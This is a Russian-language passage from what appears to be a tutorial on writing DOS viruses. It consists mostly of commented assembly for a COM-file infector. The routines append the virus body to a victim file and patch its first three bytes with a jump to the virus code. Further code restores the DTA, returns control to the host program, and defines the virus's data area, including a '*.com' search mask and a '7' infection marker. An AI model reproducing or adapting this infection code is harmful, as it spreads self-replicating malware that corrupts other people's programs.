Завершаем запускающую программу

Область данных вирусной программы

Передаем управление зараженной программе

Восстанавливаем DTA

Заражаем COM - программу

Наконец, подходящий для заражения COM - файл найден. Он еще не заражен нашим вирусом и имеет приемлемый размер. Поэтому самое время заняться заражением. Этот процесс описан в 1.3 (см. п.3 и п.4). Здесь мы только его реализуем:

write_vir: mov ax,4200h ;Установим ука- xor cx,cx ;затель на конец mov dx,di ;файла. .. int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,vir_len ;код вируса дли- lea dx,vir ;ной vir_len int 21h jc close ;При ошибке - ;закроем файл write_bytes: mov ax,4200h ;Установим ука- xor cx,cx ;затель на нача- xor dx,dx ;ло файла int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,3 ;первые три бай- lea dx,new_bytes ;та ( команду int 21h ;перехода ). .. close: mov ah,3eh ;Закроем зара- int 21h ;женный файл. ..

При записи первых трех байт в файл помещается команда перехода на код вируса. Все остальное можно понять из приведенных комментариев.

Для корректной работы зараженной программы восстановим ее DTA. Напомним,что вирус " прячет " ее в массиве "old_dta". Поэтому:

restore_dta: mov cx,80h ;Размер DTA - ;128 байт. .. mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива dta_fresh: mov al,ds:[si] ;Читаем из мас- ;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено- ;сим его в DTA inc bx ;К новому байту inc si ; loop dta_fresh ;Цикл 128 раз

Работа вируса окончена. Теперь он должен отдать управление программе - носителю.Как мы выяснили, для этой цели достаточно выполнить переход на адрес CS:100h . Поэтому занесем в стек содержимое CS, и затем - число 100h.А после этого выполним команду RET FAR. Она снимет с вершины стека записанные туда значения и передаст управление по определяемому ими адресу:

pop ds ;Восстановим ;испорченный DS push cs ;Занесем в стек ;регистр CS db 0b8h ;Код команды jump: dw 100h ;mov ax,100h push ax ;Занесем в стек ;число 100h retf ;Передача управ- ;ления на задан- ;ный адрес. ..

Настало время привести данные, которыми оперирует наш вирус. Вот они:

old_bytes db 0e9h ;Исходные три ;байта заражен- dw vir_len + 0dh ;ной программы old_dta db 128 dup (0) ;Здесь вирус ;хранит исходную ;DTA программы maska db '*.com',0 ;Маска для поис- ;ка файлов. .. fn db 12 dup (' '),0 ;Сюда помещается ;имя файла -жер- ;твы. .. new_bytes db 0e9h ;Первые три бай- db 00h ;та вируса в db 00h ;файле. .. last db 0 ;Ячейка для пос- ;леднего байта db '7' ;Последний байт ;вируса в файле

Как видим, данных не так уж и много!

Для завершения запускающей вирус программы мы используем стандартную функцию DOS, а именно - 4Ch:

vir_len equ $-vir ;Длина вирусного ;кода. .. prg_end: mov ah,4ch ;Завершение за- INT 21H ;пускающей прог- ;раммы. .. db '7' ;Без этого сим- ;вола вирус за- ;разил бы сам ;себя. .. prg ends ;Все ASM - прог- end start ;раммы заканчи- ;ваются примерно ;так.

Вы, наверное, заметили,что в запускающей программе при восстановлении первых трех байт по адресу CS:100h записывается команда перехода на метку "prg_end". После передачи управления на эту метку вирус отдает управление MS DOS. Если бы в самом начале нашего вируса не было команды "jmp vir" (см. 1.6), то запись по адресу CS : 100h перехода на метку "prg_end" разрушила бы команды

push ax mov ax,ds

(см. 1.6).В результате в заражаемый файл попал бы вирусный код с испорченными первыми байтами. Это наверняка привело бы к полной неработоспособности файла - жертвы. В нашем же случае будет разрушена лишь команда " jmp vir ". Поскольку в файл она не записывается, нас это не интересует.